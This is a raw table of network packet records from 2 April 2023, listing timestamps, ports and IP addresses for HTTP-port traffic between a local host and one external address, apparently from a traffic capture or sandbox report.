Apr 2, 2023 09:49:19.149059057 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.149101019 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149127007 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149147987 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.149153948 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149183989 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149194956 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.149210930 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149238110 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149247885 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.149266958 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149292946 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149306059 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.149321079 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149349928 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149354935 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.149377108 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149403095 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149409056 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.149430990 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149457932 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149463892 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.149486065 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149513960 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149521112 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.149542093 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149569035 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149574995 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.149595976 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149622917 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149630070 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.149651051 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149677038 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149703979 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149724007 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149763107 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.152221918 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.280740023 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.309900999 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.309947968 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.309973955 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310019970 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310043097 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310065985 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310072899 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.310091972 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310103893 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.310118914 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310144901 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310153008 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.310172081 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310199976 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310205936 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.310225964 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310251951 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310259104 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.310278893 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310305119 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310312986 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.310332060 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310357094 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310365915 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.310384035 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310410976 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310419083 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.310437918 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310463905 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310472012 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.310488939 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310513973 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310523987 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.310550928 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310576916 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310586929 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.310604095 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310626984 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.310641050 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.339494944 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.339544058 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.339576960 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.339632034 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.339664936 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.339699030 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.339699984 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.339699984 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.339732885 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.339741945 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.339768887 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.339782000 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.339802027 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.339834929 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.339843988 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.339871883 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.339916945 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.339961052 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.339997053 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340030909 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340039968 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.340064049 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340095997 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340105057 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.340128899 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340162039 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340172052 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.340195894 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340229988 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340238094 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.340262890 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340298891 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340332031 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340337992 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.340363979 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340375900 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.340399027 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340430975 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340449095 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.340464115 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340481997 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.340497017 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340511084 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.340531111 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340564966 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340573072 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.340596914 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340629101 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340639114 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.340662003 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340693951 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340703964 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.340727091 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340759039 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340769053 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.340791941 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340823889 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340833902 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.340856075 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340889931 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340897083 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.340922117 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340955019 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.340965033 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.341001034 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341039896 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341046095 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.341073036 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341104984 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341115952 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.341137886 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341169119 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341180086 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.341213942 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341245890 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341258049 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.341279984 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341312885 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341322899 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.341346025 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341367960 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341398954 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341401100 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.341433048 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341468096 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341489077 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341511011 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341538906 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.341542959 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341550112 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.341576099 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341588974 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.341609955 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341624022 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.341644049 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341676950 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341689110 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.341710091 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341742039 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341754913 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.341774940 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341806889 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341818094 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.341840029 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341871977 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341882944 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.341905117 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341938019 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.341950893 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.341972113 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.342005968 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.342014074 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.489136934 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.476265907 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.504848957 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.504893064 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.504911900 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.504925013 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.504936934 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.504949093 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.504967928 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.505001068 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.505021095 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.505042076 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.505060911 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.505080938 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.505100965 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.505120993 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.505141020 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.505162001 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.505181074 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.505199909 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.505219936 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.505239010 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.505258083 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.505279064 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.505279064 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.505292892 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.505350113 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.505717039 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.660746098 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.704479933 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.704509020 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.704533100 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.704552889 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.704576969 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.704600096 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.704612970 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.704648972 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.704659939 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.733155012 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.846543074 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.846585989 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.846605062 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.846617937 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.846637011 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.846671104 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.846893072 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.846893072 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.873534918 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.875189066 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.875268936 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.886471987 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.886507034 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.886528015 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.886548996 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.886569977 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.886575937 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.886589050 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.886610031 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.886656046 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.914895058 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.926934004 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.926966906 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.926986933 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.927006960 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.927030087 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.927030087 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.927051067 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.927061081 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.927095890 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.943912029 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.943947077 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.943968058 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.943988085 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.943994045 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.944008112 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.944021940 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.944032907 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.944052935 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.951035976 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.951082945 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.951103926 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.951123953 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.951143980 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.951152086 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.951164007 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.951188087 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.951215029 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.956875086 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.956908941 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.956928968 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.956950903 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.956971884 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.956993103 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.957041979 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.957041979 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.958072901 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.958101988 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.958122015 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.958142996 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.958163023 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.958184004 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.958193064 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.958234072 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.958365917 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.958415031 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.958434105 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.958436966 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.958456993 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.958477020 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.958492041 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.958498001 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.958523035 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.958642960 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.958666086 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.958686113 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.958714008 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.958725929 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.958739996 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.958745956 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.958766937 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.958786964 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.958795071 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.958832026 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.958978891 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959002018 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959022045 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959043026 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959050894 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.959062099 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959083080 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959085941 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.959136963 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959155083 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.959156036 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959176064 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959196091 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959203005 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.959216118 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959235907 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959239006 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.959280014 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:20.959328890 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959352970 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:20.959373951 CEST	80	49699	193.23.244.244	192.168.2.4
